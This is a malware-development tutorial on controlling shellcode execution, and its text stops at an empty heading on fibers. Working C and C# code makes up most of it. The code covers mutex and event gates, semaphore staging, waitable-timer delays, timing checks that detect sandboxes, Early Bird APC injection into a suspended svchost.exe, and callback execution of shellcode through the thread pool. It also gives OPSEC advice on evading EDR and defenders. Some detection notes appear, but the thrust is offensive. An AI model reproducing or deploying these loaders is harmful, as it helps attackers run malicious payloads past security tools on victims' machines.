ᛉ Yggdrasil

Malware development

Payload Execution Control

20 Sep 2026 · 8,734 words · 40 min

Contents

Legend: [GATE] = Execution gate technique | [SYNC] = Synchronization primitive | [EVASION] = AV/EDR bypass vector | [OPSEC] = Operational Security note | [DETECT] = Detection vector | [CALLBACK] = Callback-based execution | [TIMING] = Timing / delay technique | [TOOL] = Tool reference


1. What is Payload Execution Control

What it means: Payload execution control is a class of techniques used to determine when, how, and under what conditions a payload (shellcode, DLL, PE) runs. Instead of simply jumping to shellcode, execution is gated or deferred using synchronization primitives and OS mechanisms — giving the implant the ability to coordinate multi-instance behavior, evade sandboxes, delay execution to bypass timing-based analysis, and trigger off of legitimate OS events.

The core problem:

Naive shellcode execution (no control):
VirtualAlloc → write shellcode → CreateThread → immediately executes

EDR/Sandbox sees:
├─ VirtualAlloc with RWX permissions → suspicious
├─ Immediate execution from committed memory → flagged
├─ Sandbox accelerates Sleep() → catches payload anyway
└─ Multiple loader instances = double execution = IOC noise

What execution control solves:

Controlled shellcode execution:
Mutex check → not already running?  → continue
Semaphore wait → execution slot free?  → acquire
Event signal → trigger from C2 or system event?  → fire
Waitable timer → 10-second delay passed?  → decrypt + run

EDR/Sandbox sees:
├─ Standard synchronization calls (normal process behavior)
├─ Deferred execution → sandbox timeout reached → exits without payload
├─ No double-execute (mutex prevents it)
└─ Execution triggered only in correct environment

Why it matters for red teaming:

Scenario No Execution Control With Execution Control
Sandbox analysis Shellcode executes immediately, captured Mutex + timer check → sandbox times out
Multi-instance loaders Double execution → IOC noise Mutex prevents re-run
Coordinated multi-stage attack Race conditions, overlap Semaphore gates sequential execution
Trigger-based payloads Always runs on launch Event signal from C2 triggers execution
Sleep-skipping sandboxes Sleep bypassed, payload caught Timer-verify check exits on skip
Behavior-based EDR Thread creation = detected Fiber / APC / callback execution avoids CreateThread

The layered approach (recommended):

Payload loader starts
    └─ Mutex check       (layer 1 — prevents re-execution)
         └─ Environment gate  (layer 2 — sandbox/VM detection)
              └─ Timing gate       (layer 3 — sleep-verify / timer)
                   └─ Event wait        (layer 4 — signal from C2 or system)
                        └─ Semaphore acquire  (layer 5 — concurrency control)
                             └─ Shellcode executes (via callback / APC / fiber)

[OPSEC] Naked shellcode execution (VirtualAlloc + CreateThread) is the highest-confidence IOC a loader can produce. Wrap execution in legitimate OS synchronization primitives and callbacks.


2. Mutex — Single-Instance Gate

What it means: A Mutex (Mutual Exclusion object) is a named or unnamed kernel object that can be owned by only one thread at a time. In payload context, a named mutex acts as a global "already running" flag — a second instance of the loader checks for the mutex and exits if it finds it, preventing double execution and the IOC noise that comes with it. Malware families also use mutex names as behavioral fingerprints — defenders hunt for them; sophisticated loaders randomize the name or derive it from system properties.

2.1 Mutex Fundamentals

Mutex states:
  Signaled (not owned) → any thread can acquire it
  Non-signaled (owned) → other threads block or bail

Key Windows API:
  CreateMutexA / CreateMutexW  → create or open a named mutex
  OpenMutexA / OpenMutexW      → open existing mutex (check if running)
  WaitForSingleObject          → wait to acquire ownership
  ReleaseMutex                 → release ownership
  CloseHandle                  → close the handle

Named mutex: visible globally → Global\<name> prefix crosses session boundary
Unnamed mutex: local to process → not useful for cross-instance gating

2.2 Single-Instance Check (C — Classic Pattern)

/*
 * mutex_gate.c — Single-instance payload execution via named mutex
 * Purpose: Prevent multiple loader instances from running simultaneously
 */
#include <windows.h>
#include <stdio.h>

// ─── Configuration ───────────────────────────────────────────
// [OPSEC] Randomize or environment-derive this name in production
//         Defender hunters look for hardcoded mutex names
#define MUTEX_NAME  "Global\\WindowsUpdateNotify"
// ─────────────────────────────────────────────────────────────

BOOL IsAlreadyRunning(void) {
    // Try to OPEN an existing mutex — if it exists, we're already running
    HANDLE hMutex = OpenMutexA(MUTEX_ALL_ACCESS, FALSE, MUTEX_NAME);
    if (hMutex != NULL) {
        CloseHandle(hMutex);
        return TRUE;   // Already running — another instance holds the mutex
    }
    return FALSE;
}

HANDLE AcquireInstanceMutex(void) {
    // Create the mutex — we become the owner
    HANDLE hMutex = CreateMutexA(NULL, TRUE, MUTEX_NAME);
    if (hMutex == NULL) {
        // Creation failed
        return NULL;
    }
    if (GetLastError() == ERROR_ALREADY_EXISTS) {
        // Mutex existed — another process beat us to it
        CloseHandle(hMutex);
        return NULL;
    }
    return hMutex;  // We created and own it
}

int main(void) {
    // ── Step 1: Single-instance check ──────────────────────────
    if (IsAlreadyRunning()) {
        // [OPSEC] Silent exit — don't print anything in real implant
        printf("[!] Instance already running. Exiting.\n");
        return 0;
    }

    // ── Step 2: Acquire the mutex (become the owner) ───────────
    HANDLE hMutex = AcquireInstanceMutex();
    if (hMutex == NULL) {
        printf("[-] Failed to acquire instance mutex.\n");
        return 1;
    }

    printf("[+] Mutex acquired: %s\n", MUTEX_NAME);
    printf("[*] We are the single running instance.\n");

    // ── Step 3: Execute payload ────────────────────────────────
    // ... shellcode execution here ...
    printf("[*] Payload executing...\n");
    Sleep(5000);  // Simulate payload runtime

    // ── Step 4: Release and cleanup ───────────────────────────
    ReleaseMutex(hMutex);
    CloseHandle(hMutex);
    printf("[+] Mutex released. Exiting cleanly.\n");
    return 0;
}

2.3 Environment-Derived Mutex Name (OPSEC Hardened)

/*
 * dynamic_mutex.c — Derive mutex name from system properties
 * [OPSEC] No hardcoded string = no static signature for defenders to hunt
 */
#include <windows.h>
#include <stdio.h>
#include <string.h>

void BuildMutexName(char *out, size_t out_len) {
    char computer[MAX_COMPUTERNAME_LENGTH + 1] = {0};
    char user[256] = {0};
    DWORD clen = sizeof(computer);
    DWORD ulen = sizeof(user);

    GetComputerNameA(computer, &clen);
    GetUserNameA(user, &ulen);

    // Combine: Global\<ComputerName>_<UserName>_SVC
    // Each victim machine produces a unique mutex name
    snprintf(out, out_len, "Global\\%s_%s_SVC", computer, user);
}

int main(void) {
    char mutex_name[512] = {0};
    BuildMutexName(mutex_name, sizeof(mutex_name));

    printf("[*] Mutex name: %s\n", mutex_name);

    HANDLE hMutex = CreateMutexA(NULL, TRUE, mutex_name);
    if (hMutex == NULL || GetLastError() == ERROR_ALREADY_EXISTS) {
        printf("[!] Already running or mutex error.\n");
        if (hMutex) CloseHandle(hMutex);
        return 0;
    }

    printf("[+] Single instance confirmed — executing payload.\n");
    // ... payload ...

    ReleaseMutex(hMutex);
    CloseHandle(hMutex);
    return 0;
}

2.4 Mutex in C# (Red Team Implant)

using System;
using System.Threading;

class PayloadGate
{
    static Mutex _mutex = null;

    static bool IsSingleInstance(string mutexName)
    {
        bool createdNew;
        _mutex = new Mutex(true, mutexName, out createdNew);
        return createdNew; // true = we're the first instance
    }

    static void Main(string[] args)
    {
        // Derive name at runtime — no hardcoded string
        string mutexName = @"Global\WinDefSvc_" + Environment.MachineName;

        if (!IsSingleInstance(mutexName))
        {
            // Silent exit — already running
            Environment.Exit(0);
        }

        try
        {
            Console.WriteLine("[+] Single instance confirmed.");
            // Execute payload
            ExecutePayload();
        }
        finally
        {
            _mutex.ReleaseMutex();
        }
    }

    static void ExecutePayload()
    {
        Console.WriteLine("[*] Payload running...");
        Thread.Sleep(3000);
    }
}

2.5 Detection Artifacts

[DETECT] Mutex indicators:
  ├─ Process Monitor: CreateMutex / OpenMutex API calls
  ├─ Sysmon Event ID 17/18: Named pipe; but mutexes visible in handles
  ├─ Volatility: windows.handles --type=Mutant
  ├─ ProcessHacker → Handles tab → Mutant type → lists all mutex names
  ├─ Registry: not stored — kernel object, volatile
  └─ Known bad mutex names (threat intel list):
       ├─ Cobalt Strike beacons: often random-looking strings
       ├─ Emotet: "Global\I<MachineGUID>"
       └─ Custom: defenders hunt for unusual naming patterns
# Enumerate process mutexes on live system (PowerShell)
Get-Process | ForEach-Object {
    $proc = $_
    try {
        $handles = [System.Diagnostics.Process]::GetProcessById($proc.Id).Handle
    } catch { }
}

# Volatility3 — dump all mutex handles from memory image
python3 vol.py -f memory.dmp windows.handles --type=Mutant

# Handle.exe (Sysinternals) — show named mutexes for a process
handle.exe -p <PID> -a | findstr "Mutant"

[OPSEC] Never hardcode a mutex name. Derive it from: ComputerName, MachineGUID, Volume serial number, or a hash. Static mutex strings are the #1 persistence IOC hunted by threat intel teams.


3. Events — Signal-Based Execution

What it means: A Windows Event object is a synchronization primitive with two states — Signaled and Non-Signaled. Threads waiting on an event block until it is set to the Signaled state. For payload control, events enable trigger-based execution — the payload waits for an event to be signaled (by another process, a C2, or a system condition) before running. This is a clean "fire on signal" model used for coordinated multi-stage attacks and C2-triggered payloads.

3.1 Event Types

Manual-reset event:
  CreateEvent(NULL, TRUE, FALSE, "MyEvent")
  ├─ Stays signaled until explicitly reset with ResetEvent()
  ├─ ALL threads waiting on it wake simultaneously
  └─ Use for: broadcast trigger (notify all workers)

Auto-reset event:
  CreateEvent(NULL, FALSE, FALSE, "MyEvent")  
  ├─ Automatically goes back to Non-Signaled after ONE thread wakes
  ├─ Only ONE waiting thread is released per SetEvent() call
  └─ Use for: controlled one-at-a-time execution gate

3.2 Event-Gated Payload (C — Dual Process)

/*
 * event_gate.c — Two-process coordination via named event
 *
 * Process A (Dropper): creates event, sets it when ready
 * Process B (Loader):  waits on event, executes payload when signaled
 *
 * Use case: Stage 1 dropper signals Stage 2 loader to execute
 */
#include <windows.h>
#include <stdio.h>

#define EVENT_NAME  "Global\\WinSvc_EventGate_001"

// ── PROCESS B: Loader — waits for signal ──────────────────────
int loader_main(void) {
    printf("[Loader] Waiting for trigger event: %s\n", EVENT_NAME);

    // Open existing event (created by dropper)
    HANDLE hEvent = OpenEventA(EVENT_ALL_ACCESS, FALSE, EVENT_NAME);
    if (hEvent == NULL) {
        // Event doesn't exist yet — create it in non-signaled state
        hEvent = CreateEventA(NULL, FALSE, FALSE, EVENT_NAME);
        if (hEvent == NULL) {
            printf("[-] CreateEvent failed: %lu\n", GetLastError());
            return 1;
        }
        printf("[Loader] Event created (non-signaled). Waiting...\n");
    }

    // Block until event is signaled — can set timeout for self-destruct
    DWORD result = WaitForSingleObject(hEvent, 30000); // 30 second timeout

    switch (result) {
        case WAIT_OBJECT_0:
            printf("[+] Event signaled! Executing payload...\n");
            // ... shellcode execution here ...
            break;

        case WAIT_TIMEOUT:
            printf("[!] Timeout reached — no signal received. Exiting.\n");
            // [OPSEC] Self-destruct or clean exit
            break;

        case WAIT_FAILED:
            printf("[-] WaitForSingleObject failed: %lu\n", GetLastError());
            break;
    }

    CloseHandle(hEvent);
    return 0;
}

// ── PROCESS A: Dropper — signals when ready ───────────────────
int dropper_main(void) {
    printf("[Dropper] Creating trigger event...\n");

    HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, EVENT_NAME);
    if (hEvent == NULL) {
        printf("[-] CreateEvent failed: %lu\n", GetLastError());
        return 1;
    }

    // Do stage-1 work: download payload, check environment, etc.
    printf("[Dropper] Stage 1 complete. Signaling loader...\n");
    Sleep(3000);

    // Signal: releases ONE waiting thread (auto-reset event)
    if (!SetEvent(hEvent)) {
        printf("[-] SetEvent failed: %lu\n", GetLastError());
    } else {
        printf("[+] Event signaled successfully.\n");
    }

    CloseHandle(hEvent);
    return 0;
}

3.3 Multiple Waiters with WaitForMultipleObjects

/*
 * multi_event_gate.c — Wait on multiple events simultaneously
 * Use case: Execute payload only when ALL conditions are met
 */
#include <windows.h>
#include <stdio.h>

int main(void) {
    // Create two events: environment-check + C2-auth
    HANDLE hEnvReady  = CreateEventA(NULL, TRUE, FALSE, "Global\\EnvReady");
    HANDLE hAuthDone  = CreateEventA(NULL, TRUE, FALSE, "Global\\C2Auth");

    HANDLE events[2] = { hEnvReady, hAuthDone };

    printf("[*] Waiting for all conditions to be met...\n");

    // Wait for ALL events to be signaled (bWaitAll = TRUE)
    DWORD result = WaitForMultipleObjects(2, events, TRUE, 60000); // 60s timeout

    if (result == WAIT_OBJECT_0) {
        printf("[+] All conditions met! Executing payload.\n");
        // ... execute shellcode ...
    } else if (result == WAIT_TIMEOUT) {
        printf("[!] Conditions not met in time. Aborting.\n");
    }

    CloseHandle(hEnvReady);
    CloseHandle(hAuthDone);
    return 0;
}

3.4 Event Used as Sandbox Detector

/*
 * event_sandbox_detect.c — Use event timing to detect sandbox
 * Sandboxes often skip or fast-forward waits → timing mismatch → abort
 */
#include <windows.h>
#include <stdio.h>

BOOL SandboxDetect_EventTiming(void) {
    HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL); // Unnamed, non-signaled

    DWORD before = GetTickCount();

    // Wait 5 seconds — sandbox may skip this
    DWORD result = WaitForSingleObject(hEvent, 5000);

    DWORD elapsed = GetTickCount() - before;

    CloseHandle(hEvent);

    // If elapsed << 5000ms, the sandbox fast-forwarded the wait
    if (elapsed < 4000) {
        printf("[!] Timing anomaly detected (%lu ms < 4000 ms) — likely sandbox.\n", elapsed);
        return TRUE; // Sandbox detected
    }

    printf("[+] Timing check passed (%lu ms). Proceeding.\n", elapsed);
    return FALSE;
}

int main(void) {
    if (SandboxDetect_EventTiming()) {
        ExitProcess(0); // Silent exit
    }
    // ... continue to payload ...
    return 0;
}

[OPSEC] Events are cross-process — a named event can be read from any process with sufficient privileges. Use \\Sessions\\<N>\\BaseNamedObjects\\<name> prefix for session-scoped events. Defenders use ProcessHacker to inspect named kernel objects.


4. Semaphores — Counted Resource Gate

What it means: A Semaphore is a synchronization primitive with an internal counter. It allows up to N threads/processes to hold it simultaneously. When the count reaches zero, further waiters block until a holder releases it. In payload control, semaphores are used to gate how many concurrent payload instances can execute and for sequential multi-stage coordination where you need a counter-based slot system.

4.1 Semaphore Fundamentals

Semaphore states:
  Count > 0 → Signaled (WaitForSingleObject returns immediately, count --)
  Count == 0 → Non-signaled (waiters block)

Key API:
  CreateSemaphoreA(attrs, initialCount, maxCount, name)
  OpenSemaphoreA(access, inherit, name)
  WaitForSingleObject(hSem, timeout)  → acquire (count --)
  ReleaseSemaphore(hSem, count, prev) → release (count ++)

Example:
  CreateSemaphore(NULL, 3, 3, "PayloadSlots")
  → allows exactly 3 concurrent instances
  → 4th instance blocks until one of the 3 calls ReleaseSemaphore

4.2 Concurrent Instance Limiter (C)

/*
 * semaphore_gate.c — Limit concurrent payload execution to N instances
 * Use case: distributed loader that should run max 2 instances per host
 */
#include <windows.h>
#include <stdio.h>

#define SEM_NAME        "Global\\PayloadExec_Slots"
#define MAX_INSTANCES   2   // Max concurrent executions allowed

int main(void) {
    // ── Create or open the semaphore ───────────────────────────
    HANDLE hSem = CreateSemaphoreA(
        NULL,           // Default security
        MAX_INSTANCES,  // Initial count (slots available)
        MAX_INSTANCES,  // Maximum count
        SEM_NAME        // Named — visible cross-process
    );

    if (hSem == NULL) {
        printf("[-] CreateSemaphore failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[*] Attempting to acquire execution slot...\n");

    // ── Acquire a slot (non-blocking check first) ──────────────
    DWORD result = WaitForSingleObject(hSem, 0); // 0ms = instant check

    if (result == WAIT_TIMEOUT) {
        // No slots available — max instances already running
        printf("[!] All execution slots occupied. Max instances reached. Exiting.\n");
        CloseHandle(hSem);
        return 0;
    }

    if (result != WAIT_OBJECT_0) {
        printf("[-] WaitForSingleObject failed: %lu\n", GetLastError());
        CloseHandle(hSem);
        return 1;
    }

    // ── Slot acquired — execute payload ───────────────────────
    printf("[+] Execution slot acquired. Running payload...\n");

    // ... shellcode execution here ...
    Sleep(10000); // Simulate payload runtime

    // ── Release the slot when done ─────────────────────────────
    LONG prevCount = 0;
    ReleaseSemaphore(hSem, 1, &prevCount);
    printf("[+] Slot released. Previous count was: %ld\n", prevCount);

    CloseHandle(hSem);
    return 0;
}

4.3 Sequential Stage Gate (Semaphore Pipeline)

/*
 * semaphore_pipeline.c — Stage-based execution using semaphores as gates
 * Stage 1 signals Stage 2, Stage 2 signals Stage 3 — pipeline model
 */
#include <windows.h>
#include <stdio.h>
#include <process.h>

HANDLE hStage1Done;
HANDLE hStage2Done;

// Stage 2: waits for Stage 1 to complete
unsigned __stdcall Stage2Thread(void *arg) {
    printf("[Stage2] Waiting for Stage 1 completion...\n");
    WaitForSingleObject(hStage1Done, INFINITE);

    printf("[Stage2] Stage 1 done. Executing Stage 2 payload...\n");
    Sleep(2000); // Stage 2 work

    // Signal Stage 3 to proceed
    ReleaseSemaphore(hStage2Done, 1, NULL);
    printf("[Stage2] Done. Signaled Stage 3.\n");
    return 0;
}

int main(void) {
    // Stage 1 done semaphore (starts at 0 — not yet signaled)
    hStage1Done = CreateSemaphoreA(NULL, 0, 1, NULL);
    // Stage 2 done semaphore (starts at 0)
    hStage2Done = CreateSemaphoreA(NULL, 0, 1, NULL);

    // Launch Stage 2 thread (it will block waiting for Stage 1)
    _beginthreadex(NULL, 0, Stage2Thread, NULL, 0, NULL);

    // Stage 1 executes
    printf("[Stage1] Executing Stage 1 payload...\n");
    Sleep(3000);
    printf("[Stage1] Done. Signaling Stage 2.\n");
    ReleaseSemaphore(hStage1Done, 1, NULL);

    // Wait for Stage 2 to complete before running Stage 3
    WaitForSingleObject(hStage2Done, INFINITE);
    printf("[Stage3] All stages complete. Final payload running.\n");

    CloseHandle(hStage1Done);
    CloseHandle(hStage2Done);
    return 0;
}

[OPSEC] Named semaphores are visible in kernel handle tables — same detection vector as mutexes. Use short-lived semaphores or unnamed (anonymous) ones when cross-process coordination is not needed.


5. Waitable Timers — Time-Deferred Execution

What it means: A Waitable Timer is a kernel object that becomes signaled at a specified time or after a specified interval. Unlike Sleep(), which is trivially bypassed by sandbox time-acceleration, waitable timers combined with timing verification provide a more robust time-gate. They also support APC-based callback delivery — the payload runs in the timer's completion callback, completely avoiding CreateThread.

5.1 Waitable Timer Fundamentals

Timer types:
  Manual-reset timer:   stays signaled after expiry → resets with SetWaitableTimer
  Synchronization timer: auto-resets → only ONE waiter released per expiry

Key API:
  CreateWaitableTimer(attrs, bManualReset, name)
  SetWaitableTimer(hTimer, dueTime, period, completion, arg, resume)
  WaitForSingleObject(hTimer, timeout)
  CancelWaitableTimer(hTimer)
  CloseHandle(hTimer)

Time encoding (LARGE_INTEGER):
  Negative value = relative time (in 100-nanosecond intervals)
  Positive value = absolute UTC time

Convert seconds to LARGE_INTEGER:
  10 seconds = -10 * 10,000,000 = -100,000,000

5.2 Timer-Deferred Shellcode Execution (C)

/*
 * timer_gate.c — Defer shellcode execution by N seconds via WaitableTimer
 * [EVASION] Sandbox timeout usually < 60 seconds → use 90-120s delay
 */
#include <windows.h>
#include <stdio.h>

// Shellcode placeholder (replace with actual payload)
unsigned char shellcode[] = {
    0x90, 0x90, 0x90,   // NOP sled (placeholder)
    0xc3                 // RET
};

int main(void) {
    HANDLE hTimer = NULL;
    LARGE_INTEGER liDueTime;

    // ── Set delay: 90 seconds ──────────────────────────────────
    // Negative = relative time, units = 100ns intervals
    // 90s × 10,000,000 = 900,000,000 units
    liDueTime.QuadPart = -900000000LL;  // -90 seconds

    // ── Create unnamed manual-reset waitable timer ─────────────
    hTimer = CreateWaitableTimerA(NULL, TRUE, NULL);
    if (!hTimer) {
        printf("[-] CreateWaitableTimer failed: %lu\n", GetLastError());
        return 1;
    }

    // ── Set the timer ─────────────────────────────────────────
    if (!SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE)) {
        printf("[-] SetWaitableTimer failed: %lu\n", GetLastError());
        CloseHandle(hTimer);
        return 2;
    }

    printf("[*] Timer set. Waiting 90 seconds before execution...\n");

    // ── Block until timer fires ────────────────────────────────
    DWORD result = WaitForSingleObject(hTimer, INFINITE);

    if (result == WAIT_OBJECT_0) {
        printf("[+] Timer fired. Executing payload.\n");

        // Allocate and execute shellcode
        LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
                                        MEM_COMMIT | MEM_RESERVE,
                                        PAGE_EXECUTE_READWRITE);
        if (exec_mem) {
            memcpy(exec_mem, shellcode, sizeof(shellcode));
            HANDLE hThread = CreateThread(NULL, 0,
                (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);
            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
            VirtualFree(exec_mem, 0, MEM_RELEASE);
        }
    }

    CloseHandle(hTimer);
    return 0;
}

5.3 Timer + Timing Verification (Anti-Sandbox)

/*
 * timer_verify.c — Verify that the expected time ACTUALLY elapsed
 * [EVASION] Sandboxes accelerate time → elapsed ≠ expected → bail out
 */
#include <windows.h>
#include <stdio.h>

#define SLEEP_SECONDS   30
#define TOLERANCE_MS    3000   // Allow 3s tolerance for system load

BOOL TimingCheckPassed(DWORD expected_ms) {
    HANDLE hTimer;
    LARGE_INTEGER liDueTime;
    DWORD before, after, elapsed;

    // Set timer for expected duration
    liDueTime.QuadPart = -(LONGLONG)expected_ms * 10000LL;

    hTimer = CreateWaitableTimerA(NULL, TRUE, NULL);
    if (!hTimer) return FALSE;

    before = GetTickCount();

    SetWaitableTimer(hTimer, &liDueTime, 0, NULL, NULL, FALSE);
    WaitForSingleObject(hTimer, (expected_ms * 2)); // Max wait = 2x expected

    after   = GetTickCount();
    elapsed = after - before;

    CloseHandle(hTimer);

    printf("[*] Expected: %lu ms | Elapsed: %lu ms\n", expected_ms, elapsed);

    // If sandbox fast-forwarded, elapsed << expected
    if (elapsed < (expected_ms - TOLERANCE_MS)) {
        printf("[!] Time skipping detected — likely sandbox.\n");
        return FALSE;
    }

    return TRUE;
}

int main(void) {
    printf("[*] Running timing gate (%d seconds)...\n", SLEEP_SECONDS);

    if (!TimingCheckPassed(SLEEP_SECONDS * 1000)) {
        printf("[!] Sandbox/VM detected. Exiting silently.\n");
        ExitProcess(0);
    }

    printf("[+] Timing check passed. Executing payload.\n");
    // ... payload ...
    return 0;
}

[DETECT] Timer IOCs: CreateWaitableTimer → SetWaitableTimer → WaitForSingleObject is a recognizable chain. Combine with [OPSEC] note: use NtWaitForSingleObject (direct syscall) instead of the high-level wrapper to avoid userland hooks.


6. APC Injection — Alertable State Execution

What it means: An Asynchronous Procedure Call (APC) is a function queued to execute in the context of a specific thread when that thread enters an alertable state. Alertable states occur when a thread calls SleepEx, WaitForSingleObjectEx, WaitForMultipleObjectsEx, or SignalObjectAndWait with the bAlertable flag set to TRUE. APC injection queues shellcode as an APC, bypassing CreateThread and CreateRemoteThread — the most heavily monitored execution APIs.

6.1 APC Execution Flow

Classic APC injection flow:
  1. OpenProcess()       → get handle to target process
  2. VirtualAllocEx()    → allocate memory in target
  3. WriteProcessMemory()→ write shellcode to target memory
  4. OpenThread()        → get handle to target thread
  5. QueueUserAPC()      → queue shellcode address as APC
  6. Thread becomes alertable → APC fires → shellcode runs

MITRE ATT&CK: T1055.004 — Process Injection: APC

Early Bird variant:
  1. CreateProcess(SUSPENDED) → create process suspended
  2. VirtualAllocEx / WriteProcessMemory → inject shellcode
  3. QueueUserAPC → queue before entry point runs
  4. ResumeThread → process starts, APC fires BEFORE main()
     → runs before any AV hooks are loaded!

6.2 Early Bird APC Injection (C)

/*
 * early_bird_apc.c — APC injection into suspended process before EP
 * [EVASION] Payload runs before AV hooks are installed in the process
 * MITRE: T1055.004
 */
#include <windows.h>
#include <stdio.h>

// Shellcode placeholder — replace with your payload
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0,  // setup
    // ... rest of shellcode ...
    0xc3                             // ret
};

int main(void) {
    STARTUPINFOA si  = { sizeof(si) };
    PROCESS_INFORMATION pi = {0};
    LPVOID remote_mem = NULL;

    // ── Step 1: Spawn legitimate process in suspended state ────
    // Use a common system process as the host
    BOOL created = CreateProcessA(
        "C:\\Windows\\System32\\svchost.exe",  // Host process
        NULL, NULL, NULL, FALSE,
        CREATE_SUSPENDED | CREATE_NO_WINDOW,   // Suspended!
        NULL, NULL, &si, &pi
    );

    if (!created) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return 1;
    }

    printf("[+] Spawned svchost.exe PID=%lu (suspended)\n", pi.dwProcessId);

    // ── Step 2: Allocate memory in target process ──────────────
    remote_mem = VirtualAllocEx(
        pi.hProcess,
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    if (!remote_mem) {
        printf("[-] VirtualAllocEx failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }

    printf("[+] Allocated %zu bytes at %p in target.\n", sizeof(shellcode), remote_mem);

    // ── Step 3: Write shellcode into target ───────────────────
    SIZE_T written = 0;
    WriteProcessMemory(pi.hProcess, remote_mem, shellcode, sizeof(shellcode), &written);
    printf("[+] Wrote %zu bytes to target.\n", written);

    // ── Step 4: Queue APC to the main thread ──────────────────
    // QueueUserAPC queues to the suspended main thread
    // When thread becomes alertable (on ResumeThread), APC fires
    DWORD result = QueueUserAPC(
        (PAPCFUNC)remote_mem,   // APC function = shellcode address
        pi.hThread,              // Target: suspended main thread
        (ULONG_PTR)NULL          // Parameter (NULL for shellcode)
    );

    if (!result) {
        printf("[-] QueueUserAPC failed: %lu\n", GetLastError());
        TerminateProcess(pi.hProcess, 1);
        return 1;
    }

    printf("[+] APC queued. Resuming thread — shellcode fires at EP.\n");

    // ── Step 5: Resume — APC fires before main() ──────────────
    ResumeThread(pi.hThread);

    // Wait for process to exit
    WaitForSingleObject(pi.hProcess, 10000);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return 0;
}

6.3 Local Self-APC (Alertable Sleep)

/*
 * local_apc.c — Queue APC to own thread via alertable sleep
 * [EVASION] No remote process — entire execution stays in-process
 */
#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = { 0x90, 0x90, 0x90, 0xc3 }; // NOP, NOP, NOP, RET

// APC callback — this IS the shellcode runner
void CALLBACK ShellcodeAPC(ULONG_PTR param) {
    LPVOID sc = (LPVOID)param;
    printf("[APC] Callback fired. Executing shellcode at %p\n", sc);
    // Cast and call shellcode
    ((void(*)(void))sc)();
}

int main(void) {
    // Allocate executable memory for shellcode
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    // Queue APC to current thread (ourselves)
    QueueUserAPC(ShellcodeAPC, GetCurrentThread(), (ULONG_PTR)exec_mem);

    printf("[*] APC queued. Entering alertable sleep to trigger it...\n");

    // SleepEx with bAlertable=TRUE → triggers queued APCs
    SleepEx(1000, TRUE);

    printf("[*] Returned from alertable sleep.\n");

    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

6.4 Detection

[DETECT] APC injection signatures:
  ├─ Sysmon Event ID 8: CreateRemoteThread (not APC, but related)
  ├─ API sequence: OpenProcess → VirtualAllocEx → WriteProcessMemory → QueueUserAPC
  ├─ ETW: Microsoft-Windows-Threat-Intelligence provider logs QueueUserAPC
  ├─ EDR behavioral: shellcode in remote RWX memory → executed via APC
  └─ Abnormal: svchost.exe making network connections after APC injection

7. Thread Pool Wait — Callback Execution

What it means: CreateThreadpoolWait creates a wait object that calls a specified callback function when a waitable event object becomes signaled. By passing shellcode's address as the callback, execution is dispatched through the legitimate Windows Thread Pool — which has a clean call stack rooted in ntdll!TppWorkerThread. This avoids CreateThread entirely, presenting a much cleaner execution chain to EDR call stack inspection.

7.1 Thread Pool Execution (C)

/*
 * threadpool_wait.c — Execute shellcode via CreateThreadpoolWait callback
 * [EVASION] Execution stack: TppWorkerThread → shellcode (no CreateThread)
 * MITRE: T1055 (indirect execution)
 * Reference: https://www.ired.team/...shellcode-execution-via-createthreadpoolwait
 */
#include <windows.h>
#include <threadpoolapiset.h>
#include <stdio.h>

// Shellcode placeholder — replace with real payload
unsigned char shellcode[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0,
    // ...
    0xc3
};

int main(void) {
    // ── Step 1: Allocate RWX memory and copy shellcode ─────────
    LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode),
                                    MEM_COMMIT | MEM_RESERVE,
                                    PAGE_EXECUTE_READWRITE);
    if (!exec_mem) {
        printf("[-] VirtualAlloc failed\n");
        return 1;
    }
    memcpy(exec_mem, shellcode, sizeof(shellcode));

    printf("[+] Shellcode at: %p\n", exec_mem);

    // ── Step 2: Create event in SIGNALED state ─────────────────
    // Manual reset = TRUE, Initial state = TRUE (already signaled)
    // This means the callback fires immediately when we set the wait
    HANDLE hEvent = CreateEventA(NULL, TRUE, TRUE, NULL);
    if (!hEvent) {
        printf("[-] CreateEvent failed\n");
        return 1;
    }

    // ── Step 3: Create threadpool wait object ─────────────────
    // Callback = shellcode address (cast to PTP_WAIT_CALLBACK)
    // The callback is called when hEvent becomes signaled
    PTP_WAIT tpWait = CreateThreadpoolWait(
        (PTP_WAIT_CALLBACK)exec_mem,  // Shellcode = "callback"
        NULL,                          // Optional context parameter
        NULL                           // Use default callback environment
    );

    if (!tpWait) {
        printf("[-] CreateThreadpoolWait failed\n");
        CloseHandle(hEvent);
        return 1;
    }

    // ── Step 4: Associate event with wait object ───────────────
    // Since event is already signaled → callback fires immediately
    SetThreadpoolWait(tpWait, hEvent, NULL);

    printf("[+] Threadpool wait set. Callback (shellcode) will fire shortly.\n");

    // ── Step 5: Wait for execution to complete ─────────────────
    WaitForSingleObject(hEvent, INFINITE);

    // Cleanup
    CloseThreadpoolWait(tpWait);
    CloseHandle(hEvent);
    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;
}

[OPSEC] The thread pool call stack (TppWorkerThread) is much less suspicious than CreateThread pointing directly at shellcode memory. Pair with call stack spoofing for maximum stealth.


8. Fibers — Cooperative Execution

